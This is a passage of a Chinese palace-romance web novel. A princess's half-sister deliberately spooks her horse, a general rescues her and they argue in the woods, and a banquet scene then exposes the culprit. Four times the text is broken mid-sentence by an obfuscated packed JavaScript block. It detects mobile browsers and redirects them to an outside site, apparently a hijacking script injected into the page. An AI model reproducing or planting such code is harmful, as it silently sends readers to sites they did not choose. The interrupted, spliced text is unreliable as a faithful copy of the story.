“我的意思是,外务形势复杂,恐怕你会身不由己。”苏昀依然不想把那些残酷的事实摊开在她面前,只有斟酌着提醒她:“还有,殿下也该时时留意陛下的心意,有陛下的庇护,你的处境才能一直安稳。” 虞静央脸上有笑意,明明是娴静温婉的笑,看在苏昀眼里却总是觉得有些苦涩:“事已至此,即便我真的留在了大齐,又有什么意义?我已作南江妇,不会有人把我当成从前那个公主了。” “怎么会没有?殿下是大齐的公主,一辈子都不会变。”苏昀想不到究竟是什么样的挫折才会把她变成现在的样子,活泼生气一去不返,甚至没有了任何对将来的盼头,当下心中一痛,不自禁道:“不管日后如何,在臣眼里,殿下永远都是那个天真善良的小公主。” 虞静央抬起头,眸中微光闪动:“多谢。” 苏昀摇摇头,那一刻心里几乎背弃了从小族中独善其身的教诲。即使这么做可能招致风险,他也愿意放手一试。 他眸色认真,终是把那句在心里准备许久的话说出了口:“殿下如有难处,臣愿尽绵薄之力。” …… 竹影摇曳,镜湖澄澈,一片空灵幽静之景,两人相谈甚欢。不远处,高大的假山连着花丛,枝叶旁逸斜出又与流水交汇,萧绍立在原地,紧紧盯着他们的背影,墨色的眸子里情绪暗涌,仿佛即将迎来一场暴烈的山雨。 他一言不发,副将萧平跟在他身后,硬着头皮问:“将军,我们要送进去吗?” 还送什么?萧绍冷笑。 那日围猎虞静央离席得早,没能吃上烤肉,今日长公主特地吩咐人另烤了,又说怕她独自窝在殿里是因为难以融入众人,坚持要他亲自来一趟,却没想到人家早有人陪着,哪里会感觉孤单? 难怪到行宫后多日都没有见过她,原来是身边有了新人解闷。 这样想完,萧绍又感觉自嘲。错了,苏谨之怎会是新人?他和她也是十几年的旧识了。 萧平战战兢兢提醒:“将军,再不过去,烤肉便要凉了……” 然而此时萧绍正是怒气上头的时候,哪里听得进去?经这一提醒毫不留恋地转身,把手里的食盒扔到了萧平手里。 “别说我来过。” 他冷冷撂下一句,头也不回地走了。 --- 梨花寨使者来到大齐多日,期间两方商议外事分外和谐。黎娘子态度如常,倒是没有再出现第一日宴席上那样口无遮拦的情况,除了谈论到的互利要事,还对南江与大齐的关系分外上心。 梨花寨已经与南江交恶,矛盾被抛在了明面上,她在意此事也在常理之中。大齐君臣不觉意外,明确向她允诺与南江的往来不会影响同梨花寨的关系,而黎娘子却似乎并不满足于此,希望从大齐得到更稳妥的保证,甚至在朝堂上公然提起宣城公主,向虞帝询问其去留。 先前黎娘子一副万事好商量的姿态,并不难说话,只在此事上颇为强硬,自是希望大齐顺势取消与南江的联姻盟约,与之统一战线。但天下局势瞬息万变,今日决定不了明日之事,虞帝对此难以松口,短时间内无法给予确切的承诺。 两方就这样僵持了下去。身为这件事的焦点,虞静央本人似乎浑不在意,依然日日待在朝晖殿,除了兄嫂等亲近之人极少与其他人来往。 她本就不是喜欢广而社交的人,现在只觉得自在得很,直到一日天气晴好,暖融融的太阳顺着窗棂照进了妆台,她才后知后觉向外面望去,发现上次看结着花骨朵儿的凌霄花,这时候已经在盛放了。 晚棠提议:“殿下整日闷在殿里,岂不白白浪费了这行宫的好风光?今日北桦林有赛马,殿下若有兴致,我们也出去瞧一瞧?” 虞静央生了个聪明脑袋,自小学东西很快,琴棋书画样样都能来几下,连兄长们学习的治国理政之术也敢在先生面前摆弄两手,虽然性格跳脱,对那些需要晒太阳的活动却一点不感兴趣,可见骨子里还是个娇气的主,半分苦都吃不得。现在心智渐长,但喜好依旧沿袭了过去,一听赛马便想拒绝。 “况且我不会骑马,去了也只能坐在那儿,还不如在殿里自在。” 晚棠早有所料,笑道:“不会可以学呀,殿下身子弱,一直不见好,若能骑马锻炼一番也是有益处的。听闻前几日御马厩放了几匹小马,正好供殿下初学。” 虞静央被她说得起了几分兴趣,犹豫后还是说:“像赛马这样的活动,人怕是很多。” 晚棠不灰心:“若殿下不想见那些人,不如等赛马会结束再动身前往?那时候众人离去,但场地还在。” 言至于此,虞静央还如何能拒绝?嗔怪地瞅她一眼:“你倒是安排得周到。” “奴婢只是想让殿下出去走走嘛。”晚棠不好意思地笑。 午后,参加赛马会的人纷纷散去。北桦林人迹不多,只剩下几个走得迟的贵女或公子,剩下的便是在此处当差的饲马宫人。虞静央姗姗而来,众人纷纷行礼,她免了众人的礼,随侍从挑了匹温顺的小马。 “这是丹州送来的马,最是温驯亲人,殿下放心骑便是。”马夫殷勤道。 面前的小马只有成年马三分之二的体型,用手抚摸还会凑过来轻轻蹭,虞静央心中喜欢,畏惧便少了许多。 “几日不见,我还以为三姐姐会一直待在宫里呢。” 在虞静央满心关注着马匹的时候,虞静澜不知何时出现在了这里,扶着侍女的手,缓缓走到虞静央身侧。 方才可没有看见她,许是没注意。这里没有别人,虞静央不打算同她虚与委蛇,淡淡应了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13016138|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,算是接了她的话。 虞静澜依旧是那副阴郁冷淡的神情,看上去着实不算友善,打量了几眼正佩戴马鞍的小马:“三姐姐不会骑马,这是终于打算学了?可惜这马太小,该是高大的烈马才有意思。” 马夫低头答:“四公主有所不知,丹州马矮小温顺,正利于三公主初学,其他大马性情又野又烈,三公主难以驾驭,恐有损伤玉体的风险。” 虞静澜心头怒火顿起,厉声斥道:“本宫说话,哪有你一个奴才插嘴的份?给我闭嘴!” 马夫畏惧不已,伏在地上不敢起身。虞静央出声让他起来,也不理会虞静澜,由人扶着小心翼翼上了马。 被人当做不存在,虞静澜也不嫌自讨没趣,仍然留在原地不走,问道:“三姐姐如此气定神闲,难道对近日朝堂上谈论的事一点都不担心?” 虞静央抚摸马鬃的手停住,对马夫道:“你先下去吧。” “三公主不会骑马,身边若无人照看,恐怕……” “无事。本宫只坐在马上走走,不会进树林的。”虞静央道。 马夫犹豫再三,还是依言退下。人走远后,虞静央的目光喜怒莫辨,回到虞静澜身上:“父皇与梨花寨商议邦交要事,与四妹妹有何干系?” “现下没有别人,你还要装傻吗?那个黎娘子因何事与父皇僵持,我不信你一点消息都不知!”虞静澜冷笑,走到她面前,“你还真是招人喜欢,那么多人上赶着帮你,就连梨花寨那种地方,都阴差阳错成了你达成目的的垫脚石。” 虞静央冷下脸:“应该怎样取舍,父皇自有决断,岂容你在此置喙。还敢议论朝廷大事,怎么,又是皇后教你的吗?” 虞静澜听她污蔑关皇后便起了怒意,咬牙道:“我告诉你,一切都是我恨透了你,与我母后毫无干系!你和姜家一个鼻孔出气,全都该死!” 说罢,她像提前准备好一样从袖中掏出一支金簪,晚棠迅速明白了她的意图,失声大呼:“四殿下,不要!” 虞静澜恍若未闻,神色阴狠又狰狞,手攥着簪头落下,朝着马屁股狠狠扎了下去! 再温顺的马也会有发狂的时候,就譬如现在。小马吃痛,受惊长嘶一声,立刻变得失控无法控制起来,虞静央不会骑马,更没有防备,当下面容失色,只有像救命稻草一样紧紧抓住马缰,而小马依然没有冷静下来,恐慌下撒开四蹄,如离弦的箭般向前方密林冲去! “殿下,殿下!”马的速度太快,晚棠根本追不上,被吓得脸色惨白,慌忙之下也顾不得是虞静澜下手的事实,冲回来大声呼救:“来人啊,来人啊!” 这个时候,贵女夫人们已经悉数离开,在场的除了虞静央和虞静澜,也就仅有晚棠和虞静澜的两个侍女而已。见晚棠四处求救,跟在虞静澜身后的侍女面露踌躇,也怕闯出什么大祸,试图劝说自家主子:“殿下,这……” “谁也不许管!”虞静澜本就下了狠手,眸中全无惧色,而是偏执和恨意:“她最好是能死在这里。” 要是死了,所有恩怨就一笔勾销。 35. 名声 晚棠跪在地上,拉着虞静澜裙摆苦苦哀求,被毫不怜惜地甩开。正在虞静澜转身欲走的时候,一阵稳健有力的马蹄声由远及近而来,高大的骏马蹄下飒沓如流星,疾速冲进了树林。 马上之人窄袖劲装,身后披风因疾驰而扬起,没有给她们一个眼神,但虞静澜从掠过的身影分辨出了来人,当即变了脸色:“萧继淮?!” 他怎么会在这里! 虞静澜心下大乱,强行让自己镇定下来,恶狠狠恐吓道:“记住,本宫从来没来过这里,从来没有!” 侍女之前也没有遇过这样的事,被吓得六神无主,连声道:“是,是!” - 两侧树木飞速后退,和煦的微风也变成了锋利的刀刃,在脸上冷冷地刮。身下马匹仍在不顾一切地飞奔,带着她冲进密林深处,虞静央伏在马背上不敢动,紧紧抓住缰绳也无济于事。 颠簸太剧烈,仿佛天地都开始旋转,饶是虞静央有所准备,眼前依旧不受控地开始一阵阵发黑。她呼吸急促,心知不能再这样下去,于是咬了咬牙,冒着跌落的风险一手松开缰绳,从袖中拿出藏好的匕首—— 她眯起眼睛,在颠震中把刀尖对准马颈,正要用力,身后竟传来一声高喝:“虞静央!” 这声音太熟悉,又敢叫她的名字,虞静央几乎是立刻听出了来人是谁,神情有一瞬间惊愕,走神的那一刻指间一松,出鞘的匕首落在地上,再也看不见了。 虞静央回过神来,旋即彻底放下了心,换上惊慌的神情,用最大的声音回应:“我在这儿!” 她语中有哭腔,明显被吓得不轻,萧绍策马在后面奔驰,直到追上她的身影,赶到惊马右侧。 “把手给我!” 虞静央用尽全力伸出手,无奈难以稳住身形,险些被颠倒,萧绍抓住机会,一手紧紧拉住她手,倾身过去,手臂在她腰间用力一揽—— 眼前风景变换,虞静央被带到了他的马上。那匹受惊的小马则继续向前奔逃,臀上血痕一路滴落,消失在了林子尽头。 缰绳拉紧,身下马匹速度渐渐放缓,最后稳稳停在树下。虞静央彻底脱力,靠在萧绍身上低泣起来。 “……” 她肩头微抖,哭也不敢大声,萧绍喉结滚动,有什么安慰的话也说不出,递给她一方手帕:“没事了。” “多谢。”虞静央声音低哑,带着哭过后的鼻音,犹豫后还是接了过来。 “没受伤吧?”他声音不自觉柔了一点。 她沉默着摇摇头。 哽咽声渐止,萧绍猜测她情绪冷静了一点,道:“先下来歇一歇吧。” 说罢,他率先下马。虞静央没了支撑,身体骤然一软,差点摔下马,幸亏被萧绍眼疾手快扶住。这时候没功夫讲什么规矩礼数,萧绍双臂用力,几乎是半抱着才把她带下马。 脚刚沾地,虞静央就瘫坐在了地上,浑身都没力气。萧绍静静看着,喉咙像被人塞了团棉花。 “今日之事,我会原原本本地上报陛下。”他道。 “多谢。”虞静央又道一遍。 说一句道一声谢。萧绍嘴唇紧抿,想起她可能是惊魂未定说不出话,莫名其妙升起的闷气又慢慢消了。 就这样静静过了一会儿,虞静央看上去好了许多,萧绍才问:“四公主为何要这样害你,你和她有过节?” 他不禁联想起之前虞静循说过的话。可虞静循和虞静澜这对兄妹关系并不太亲厚,虞静澜用这样拙劣的手段暗算她,应当不会是只为替兄长报复。 虞静央到底做了什么,居然一次得罪了两个人,还让从前一直跟在她身后的虞静澜变得那样恨她。 虞静央摇头,只道:“自然是因为母家有矛盾。” 这是摆在明面上的理由,但萧绍显然不信:“关姜两族的恩怨由来已久,你莫非要告诉我虞静澜突然开窍,想为关家谋夺利益所以恨你入骨?” “难道不可能吗?”虞静央抬眼看他。不过话一出口,她自己都觉得难以服众,又不自然地低下头。 半晌,虞静央轻声道:“不是什么大事,你别问了。” 她避而不谈,萧绍不赞同地皱眉:“你不告诉我,我要怎样向陛下禀报?” 虞静央低着头,一言不发缩在树底下,树荫婆娑的影子照在她身上,如同藏进了阴霾。 萧绍默了默,片刻后,主动终止了这个话题。 “……算了,你就当我没问。” 气氛微妙地沉寂下来,只剩下风吹树叶的簌簌声。 虞静央脸色渐渐好起来,萧绍解开系在树干上的马缰,把马牵了过来:“为什么每次见你都这么狼狈,需要人救。” 虞静央没心思解释,闷闷道:“那你下次就当没看见吧。” “……” 语气怪怪的,萧绍动作停住,脸上写着费解:“你在跟我置气?” 我和你是什么关系,还置气? 虞静央暗暗腹诽,忽然蹙起眉头,用帕子掩了掩鼻子。 “怎么?” 虞静央看看他,小声道:“你身上有血腥味。” 萧绍愣了一下,下意识凑近自己的衣袖闻了闻,明明什么味都没有。不过他早上随圣驾进围场猎熊,也许她对气味敏感,所以闻到了一点血腥气? 不对。 萧绍反应过来,不禁暗骂自己被人牵着鼻子走,冷笑道:“是啊,我一介武夫,像苏昀那样的文人,身上自然不会有。” “……”虞静央大为不解,眉皱得更厉害了:“我什么时候提起了苏昀?” …… 一里外,黎娘子停止观察,悠悠从一片笔直的树干后出来:“没事了,我们回吧。” 梨花寨的随从跟在她身后,不解道:“大当家不看了?公主还在那儿没走呢,万一有什么事……” 黎娘子神情放松,边走边摆摆手:“不用担心。有萧绍在,殿下不会出事的。” 她之所以提前在树林里蹲守就是为了防范意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047284|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外,好及时把殿下从那匹惊马上救下来,现在萧绍来了,她便不用再操心了。 随从好奇,打听道:“大当家,那位萧将军是什么来头,为什么那么可信?” 梨花寨使团里只有黎娘子一个中原人,其他的从前从未踏足过大齐,不知萧绍的底细。为什么可信…… 黎娘子在前面走,忽地笑了:“因为,若非当年歹人从中作梗,现在他就是殿下的驸马了。” 淮州军是大齐最精锐的军队,萧绍手握淮州兵权,又得虞帝宠信,在朝中地位不一般,自然成为她们首要拉拢的对象。 如果殿下能成功引萧绍为她入局,有了淮州军的助力,她们将会离达成计划进一大步。 想到方才北桦林外的场景,黎娘子目光一冷。虞静澜竟当真敢在这里公然动手,殿下不会骑马,她这样做,是当真一点余地都没有留。 既然这样,那她们也不用避着让着了。 黎娘子勾起唇角,那笑却不达眼底:“走,我们去给四公主送一份大礼。” …… 另一边,虞静央还在和萧绍拌嘴:“和苏昀有什么关系?” 想起那天萧平送来的烤肉,她意识到什么,脱口而出问:“你那时也来了?” “没有。”萧绍斩钉截铁否认,也不看她,硬邦邦说道:“我只是想劝诫三殿下,现下局势未定,南江使团将至,就算殿下与苏昀情谊非同一般,也莫要与之走得太近,倘若传了出去,必于名声有损。” 他毫不犹豫的否认反而使虞静央确定了心中所想,而后面的话又让她愣住了。以其话中之意,不就是说她如今仍是有夫之妇,要她注意言行吗? 虞静央几乎怀疑自己听错了,当即也忘了解释,不可置信地质问:“所以,你现在是在替我的夫君管束我?” 萧绍脸色微变,立刻要辩解:“我没——” 虞静央从惊愕中回过神,神情变得激愤:“是啊,我还是个有夫之妇,合该离所有外男都远远的。但你别忘了,比起我和苏昀说话,现在我们两个孤男寡女在一起,这又算什么?” 萧绍没想到她会说起这个,一时没藏住情绪,眸中闪过恼羞成怒的愠意,竟被她逼得说不出话。虞静央呼吸急促,一步一步逼近他面前,恨声道:“事到如今,你以为我还会在乎什么名声?萧继淮,倘若有朝一日我当真声名狼藉,最脱不了干系的就是你!” 接她回来的是他,调查细作的是他,查刺客的是他,从马上救下她的还是他。有人自认清醒,实际上不该做的事早做了个遍,竟然还敢来提醒她注意分寸。 什么名声值得她在乎?若损坏名声就能换来脱离南江的自由身,她求之不得! 女子双眸气得发红,就那么仰着头倔强地瞪着他,嘴里说着最极端的话语,甚至不惜诋毁自己。萧绍胸膛起伏,被她这一串连珠炮似的话语轰炸得缓不过神,后知后觉意识到——她说的都是对的。 真正对她名声有威胁的人,根本不是苏谨之。 36. 筹码 与那日在镜玉坊的反应一样,在脑中出现这一念头的时候,萧绍下意识想要退开,而虞静央不肯罢休,他退一步,她就又上前一步,强势地闯进并占据他的目光,使他后撤的脚步生生停住了。 他看出来了,就像虞静央口中说的那样,现在的她根本就不在乎名声。这五年,她在南江受的规训已经够多了。 一种复杂的情绪席卷了萧绍的心,似愤懑、不甘,又或是嫉妒,像又长又韧的麻绳般捆住了他的每一寸神经,不许他再后退毫厘。 萧绍想说话,就说一些与她势均力敌的狠话反击回去,奈何一字一词七零八落,到头来也没能在唇齿间组成利落的一句。 最后,他硬是把所有情绪咽了下去,把脚踩的马镫牵到她面前,好像什么都没发生:“上马吧,该回去了。” 虞静央本以为要和萧绍在这里大吵一架,谁知还没等吵起来,他竟开始装聋作哑,单方面熄灭了狼烟。这样的走向令人猝不及防,虞静央发泄到一半,现在气也不是笑也不是,于是更觉得火大,愤然扶着他上了马。 以前能因一点小事和她斗嘴斗个三天三夜的人,现在给他机会,却像个哑巴一样。难道年纪渐长,口舌反而不灵便了? 她已经坐上马,而萧绍却没有上来的意思。虞静央睨他,故意歪了歪身子,轻揉额角,像是仍然头晕眼花没能恢复。 “我一个人坐不住。”她扶着马背,有气无力道。 萧绍才被她的气话警醒一番,现在一心想着发乎情止乎礼,不必刻意避嫌但也应当保持分寸,本不欲与她同骑一马,可她才被惊马吓过,恐怕依然心有余悸,现在唇色还是发白的。 这样的状态,就算他牵着马慢慢走,她也要从马上摔下来。 萧绍有些犹豫,正在他考虑的时候,虞静央忽地呵笑一声:“你害怕郁沧找你麻烦?那你就牵着马,扶我走回去好了。” 说罢,她就挣扎着要下马。萧绍气得牙痒痒,抢先一步翻身上马,稳稳把她控制在了马背上。 马缰拉紧,身下马匹开始缓缓向前走,两人谁也不理谁,就那样沉默地穿过一棵棵高大的白桦树。 她身上似有似无的甜香萦绕在鼻间,不知来自脂粉还是簪花,萧绍尽量忽略不去想,专心致志控着缰绳,忽然听到一声鼻子吸气的声音,低低的,如果不是周遭足够安静根本难以察觉。 萧绍踌躇一瞬,稍微弯下脊背去看身前女子的脸,被偏头躲开了。但她眼睫微湿,低着头不发一语,明显是心情不好的模样。 明明是自己被她敲打警告了一通,她还难受上了?一会儿让人看见她哭着出去,而他就在旁边,那可真是百口莫辩了。 到了现在,萧绍彻底没了脾气,无奈问:“怎么又哭了?” 虞静央本来独自硬捱,被他一问又落了两滴泪,顺着脸颊滑落,滴在他握着马缰的手背上,好像在他心头下了一场突如其来的小雨。 她垂着眼,声音又低又涩:“我与你好好说话,你偏要拿南江的事刺我,反正只要我伤心,你就舒坦了。” 萧绍再次被冤枉,觉得自己跳进黄河都洗不清了,某一刻竟开始后悔为什么方才要说那么多无用的话。要是他不说,她哪有机会联想这么多有的没的? “我不是这个意思,我是想说……” 萧绍从未如此认真地替自己辩解过,然而说到一半成功语塞,努力组织半天语言终于想出了后文:“我是想说,苏昀身份特殊,是陛下身边的礼官,你和他走得太近,恐怕会被有心人怀疑。” 在萧绍眼里,这是一个足够说服自己且没有任何歧义的理由,谁知虞静央追问:“和你就可以了?” 萧绍顿住。 她擦干净眼泪,缓缓回头,两人之间的距离更加拉近,只要他稍稍低头就能吻上她眉心。虞静央非但不退开,还抬起头望他。 萧绍僵硬着目视前方,想当什么都没听见,虞静央却不给他逃避的机会,那双含情的眸子注视着他,好像一汪能看透人心的清湖:“你说了这么多大道理,却远不如一句实话更能说动我。” “我听不懂你在说什么。”萧绍镇定道,却不知耳朵面颊早已泛起红,被虞静央尽收眼底。 他要嘴硬,虞静央也不强求,静静转过身去。 半晌,她轻声道:“外面都说你要和沈七娘子议亲了,是真的吗?” 不用想也知道是谁放出了这种消息,萧绍不欲隐瞒什么,答:“假的。” 虞静央像是笑了一下:“沈七娘子才貌双全,家世也好,为什么不愿意?” 因为一桩没有感情的婚事,会毁了彼此的一生。 萧绍心道,却没有这样说,用了另一个理由:“沈家是关氏的拥趸,我和她不是一路人。” “那你是哪路的,我这一路吗?”虞静央明知故问。 见他不说话,她又笑了,一边转回来:“我们是一路人,可你却一点儿都不坦诚。” 萧绍皱起眉,想开口反驳,又被她堵了回去:“你不让我和苏昀走太近,到了自己这儿却什么道理都不讲了,就算那人不是苏昀,而是郁沧,你见了照样会心里不舒服。你一边想约束我,一边又不肯接受别人,这代表着什么呢?” 虞静央注视着他,一字一句说:“就像他们说的那样,你对我余情未了。” 萧绍的脸色顷刻变了,心被绕成了一团乱麻,好在理智迅速压过了情绪本能的反应,低声警告她:“你在胡说什么?够了。” 林中无端起了风,吹得鬓前流苏摇曳不止。虞静央不怕他,继续说:“我说这些并非想让你难堪,只是想问,如果日后我走投无路,你会不会看着我再走一次?” 萧绍不肯回答这种假设,眉头紧皱,不肯与她对视。 夕阳半落,余晖穿过树枝缝隙洒下来,沿着人的侧脸镶上一层柔和的金边。虞静央眉目盈盈,手指缓缓下滑,覆在他牵着马缰的手背上,感受到他的呼吸重重一滞。 “你愿意帮我吗?”她问:“帮我永远离开南江,再也不用回到那里。” 萧绍原本拿捏着分寸,即使共骑一马也在彼此之间空出了两指的距离,现在却几乎贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077170|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了一起。虞静央纤柔的指尖游移着,停在他腕骨处一道伤疤的地方,轻而缱绻地摩挲。 那微凉的手指仿佛与心相连,将温度迅速扩散至四肢百骸,唤起一阵久违的酥麻。萧绍忘记了身在何处,脑中朦朦胧胧的,连思绪都变得迟钝起来,仿佛飘在虚无缥缈的云里,让人甘愿沉溺不醒。 “阿绍,帮帮我吧。你想要什么,我都可以给你。” 虞静央依偎在他身前,手指蛊惑般抚弄他脸颊,彼此近到鼻息都要交缠在一起,“就算是我自己……” 某一刻,轻柔的云雾乍然消散。萧绍身体僵住,好像被一盆冷水泼了个清醒,现在,他终于懂了。 虞静央早就看透了他的情意,却从未表露过自己的心,她冒着被人发现的风险,极力蛊惑他与自己重修旧好,绝不是因为情难自抑。 她有她的目的,今日对他说的这些话无关情爱,只是当作一场冷冰冰的交易。她做一切努力,只是因为她想留在大齐,需要有更多的人在天子面前为她所用,增加胜算。 她欲收买他。而她的筹码,是她自己。 就在虞静央以为将要成功的时候,手腕却被人狠狠扣住了。她意外抬起头,看见萧绍眼睛发红,紧紧逼视着她。 他声音嘶哑:“虞静央,你把我当成什么了?” 又把自己当成了什么? --- 长明宫,虞帝下旨宴请一干重臣,还有梨花寨使者众人。钟声响起之际,黎娘子姗姗来迟,在左首入座,好在依旧赶在了天子之前,算是全了一番礼数。 如常交谈一段时间后,丝竹歌舞渐兴。酒过三巡,外面有宫人进来通报,说殷城公主来了。 这次宴席并没有请诸皇子公主前来,且已经进行到一半,虞静澜怎么会突然过来?虞帝心里奇怪,但碍于使团一众人在场没有外露,吩咐让她进来。 须臾,虞静澜扶着侍女走进殿,向虞帝见礼:“儿臣给父皇请安。” 虞帝让她起身,问:“怎么这个时候过来了?” 虞静澜面上含着得体的笑,徐徐道:“回父皇的话,去年来行宫时,儿臣酿了几坛甜杏酒,适才去挖了出来。恰好听闻父皇设宴与诸位大人同乐,便自作主张带了过来,全当为今日佳宴助助兴。” 见她如此懂事,虞帝神情舒展,道:“你有心了。” 虞静澜一拍手,外面很快有随从躬身入殿,把酒坛子一一抬了进来。开封后,香甜的酒香顿时扩散开来。 如公主这般尊贵的身份,把亲自酿的酒给百官品尝,这对臣下来说是天大的殊荣,对梨花寨使者而言亦是友好之举。殿中服侍的宫人把甜杏酒分给各席,众人尝过之后赞不绝口,纷纷奉承:“多谢公主美意。” “澜儿有心了。”虞帝露出悦色,左右政事已经说完,便道:“既然已经来了,就坐下一同参宴吧。” 虞静澜一福:“谢父皇。” 宫人应声去安排席位,虞静澜留在原地等候。这时候,黎娘子说话了:“听闻今日有赛马会,殷城公主是从北桦林而来?” 37. 指认 上次宴席的寥寥几句对话并不愉快,黎娘子还来同她搭话,虞静澜心中镇定,按照事先准备好的话答道:“黎娘子有所不知,赛马会午后便结束了。本宫带人去杏园挖酒坛,所以早早就离开了北桦林。” 黎娘子了然:“原来如此。” 两句话的功夫,宫人已经安置好了新的席案。虞静澜打算落座,刚走了两步,却感到脚边掉了什么东西,低头一看,发现是支簪子。 她捡起来拿在手里,更觉得奇怪了。因为这簪子看着有些熟悉,却不是她自己的。 这时,席位离虞静澜稍近的大臣“咦”了一声,道:“四公主发髻钗饰整齐,不像丢了簪子的模样。不过,这簪子倒是颇为眼熟……” 这一番话吸引了在场所有人的目光,黎娘子也坐直身体,眯起眼睛仔细看了半晌,似乎忽然想起什么:“若我没有记错,好像是宣城公主的东西?” 她是猜测的语气,虞静澜听了却面色骤变,立刻回道:“不可能!” 黎娘子随口一说,虞静澜却态度反常,令人怀疑。虞帝也意识到不对劲,神情严肃起来:“澜儿,这到底是你从哪得来的?” “我不知道!”虞静澜声音不自觉地抬高,旋即反应过来,撑着冷静道:“父皇,儿臣真的不知道。今日三姐姐并未露面,儿臣根本没有与她相见的机会,怎么会拿她的东西?” 虞帝皱眉,朝身边使了个眼色,侍官会意,从虞静澜手里拿过那簪子,仔细辨别一番,恭敬答道:“禀陛下,这簪子上镶嵌的是碧山黄玉,只有陇西出产,的确像是三公主的东西。” 关于陇西的事,自然是姜家最清楚。今日姜侯恰好列席,听后禀道:“碧山黄玉稀少,历年产量不多,今年的依旧大部分上呈了皇宫,除了这些,臣确实还私下为三公主送了一份。” “什么时候的事?” “回陛下,上月。” 这种玉石不是由皇宫垄断的东西,姜侯是虞静央的舅父,时常送些好东西贴补也是正常的,虞静央收到之后做成了各种配饰戴在身上,所以,这簪子应该就是她的。 虞帝点点头,眼色微沉看回虞静澜。作为五年前那件事少有的知情人,他自然清楚虞静澜和虞静央姐妹之间难以调和的矛盾,大庭广众下,他不会在这里重提旧事,但若虞静澜真的做了什么没轻重的事,传出去依然是皇家子嗣不睦的丑闻。 在北桦林时,她根本没有和虞静央有过身体接触,这支发簪怎么会莫名其妙到她手里? 虞静澜脸色发白,无论如何都想不通。更令她担心和慌乱的是,如果摸着这支发簪顺藤摸瓜,被人发现她用惊马向虞静央使绊子的事…… 关侯是虞静澜的外祖父,见势不对道:“四殿下莫要着急,姐妹之间,也许只是恰好拿错了东西。” “对……对!”虞静澜成功被提醒,当下也不再纠结这簪子究竟来自何处,顺着承认道:“确是如此!儿臣想起来了,是那天围猎时拿了三姐姐的簪子。此事是儿臣的疏忽,稍后便去朝晖殿亲自归还!” 她的态度前后变化太快,着实引人怀疑,黎娘子饶有兴趣:“四公主方才还矢口否认,极力与三公主划清关系,现在又突然想了起来,变化如此之快,我都要被绕晕了。” 事已至此,不弄清楚是无法收场了。虞帝压下疑心,问:“三公主现在何处?去把她叫来。” “不必了。” 殿外传来一个声音,是萧绍来了。他大步进殿,身形挺拔如松,目光却冷峻得如寒冰一般。 萧绍走到殿中央行礼,虞帝让他起来,奇怪道:“继淮,你怎么也来了?” “回陛下,事态紧急,臣不得不前来禀报。” 萧绍一字一句说得清晰,冷冷转向身侧面色惨白的虞静澜,道:“适才四殿下说,近日都未与三殿下相见,若非臣午后碰巧经过北桦林,怕是真的要被殿下骗过去。” 在看到萧绍到来的那一刻,虞静澜身体狠狠晃了晃,但依旧不死心地存着一丝希望。当时赛马会已经结束有一会儿的时间,留在北桦林的人根本不剩几个,她和虞静央说话时身边并无旁人,就算萧绍真的把她动手的事说出来,又有谁能作证? “萧继淮,你不要胡说!”她强撑道。 萧绍不理会她,继续向虞帝禀报:“今日未时,三公主在北桦林骑马,马匹受惊,拉着三公主冲进密林,臣救下公主时,距离尽处断崖仅有不到三里远。” 三里远,对狂奔的马来说根本不在话下,若萧绍去迟一步,后果都不堪设想。虞帝脸色大变,急急追问道:“竟有此事?央儿现在如何了,可有受伤?” “回陛下,三公主并无大碍,已经安全回到朝晖殿,只是受惊不小,至今仍在昏迷。” 听闻虞静央无碍,虞帝将将放下心,却又因萧绍后面的一句话狠狠惊住:“四公主用簪子扎马,致使三公主的马惊慌奔逃,当真是狠得下心。” 此话一出,四座皆惊。依北桦林的地形,树林尽头是一片断崖,设计惊马就是冲着取人性命去的。若萧绍所说为真,四公主是故意这样做,那岂不是…… “萧继淮,你血口喷人!” 当众被人揭穿,虞静澜手指着萧绍,尖声道:“谁能证明你所说的是真话?本宫未时明明在杏园挖酒坛,侍女随从皆可作证!” “四公主自以为设计周全,下手时支开了所有可能成为人证的人,现在却要心腹侍女证明自己清白,既然如此,三公主身边的晚棠是否也能当作人证,指认四公主的罪名?” 萧绍说完,晚棠入殿拜见众人,看上去有些胆怯。虞帝脸色不好,到了这时候也没法阻拦,说道:“晚棠,到底出了什么事,你不必害怕,一五一十都说出来。” 得了皇帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 